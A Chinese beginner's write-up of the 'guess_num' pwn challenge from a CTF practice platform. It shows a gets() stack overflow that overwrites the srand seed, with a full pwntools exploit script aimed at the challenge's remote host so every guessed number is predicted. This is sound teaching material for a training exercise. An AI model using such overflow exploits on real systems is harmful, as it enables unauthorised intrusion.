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初学pwn-writeUp
攻防世界的第六题，guess_num。
从这个题目可以猜出来，是跟猜数字有关的题目。启动靶机。

使用nc链接远端，查看一下。

发现链接之后，首先是输出了欢迎界面，之后需要输入一个名字。输入完成之后就要求开始猜数字。但是要命的是，只能猜一

次，猜错了就GG。没有办法，这条路行不通。

下载文件，cat一下，很明显，是一个ELF文件。放进ida里查看一下。
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发现这里的逻辑，就是生成一个伪随机数，然后进行猜数字。可以看到在23行这里，给srand函数设置了一个种子，然后进入循
环，生成随机数，要求我们输入数字，进行比较。好的一点是这里的随机数最大也就是6，不过要猜10次，一次都不能错，一个
一个猜，累死也猜不到。

假设可以顺利的猜对所有的数字，就可以继续执行接下来的步骤。

嗯，没错，看到这里就可以确认了，我们只要猜对10次，那么就可以顺利的拿到flag。
我们返回上面重新看，发现在要求输入名字的这里，有一个gets函数。有输入就有栈溢出的可能，去瞅瞅v7这个变量。

可以发现，v7这个数组就在seed上面，再从main函数的页面，我们可以发现v7这个数组占了20个空间（注意，这里是16进制的
20，相当于十进制的32，我今天就是在这里栽了好久）。
在v7之后紧接着就是seed，我们在main函数中注意到，srand函数是使用seed的第0个元素作为种子的，所以我们只需要将v7填
满之后，再溢出一个空间去覆盖seed[0]就可以了。
exp



from pwn import *
from ctypes import *

p = remote("111.200.241.244", 49191);
payload = 'a'*0x20 + p64(1).decode("iso-8859-1");

libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")

p.recvuntil("name:");
p.sendline(payload);

libc.srand(1);

for i in range(10):
    t = str(libc.rand()%6+1);
    p.recvuntil("number:");
    p.sendline(t);

p.interactive();

运行结束，成功拿到flag！
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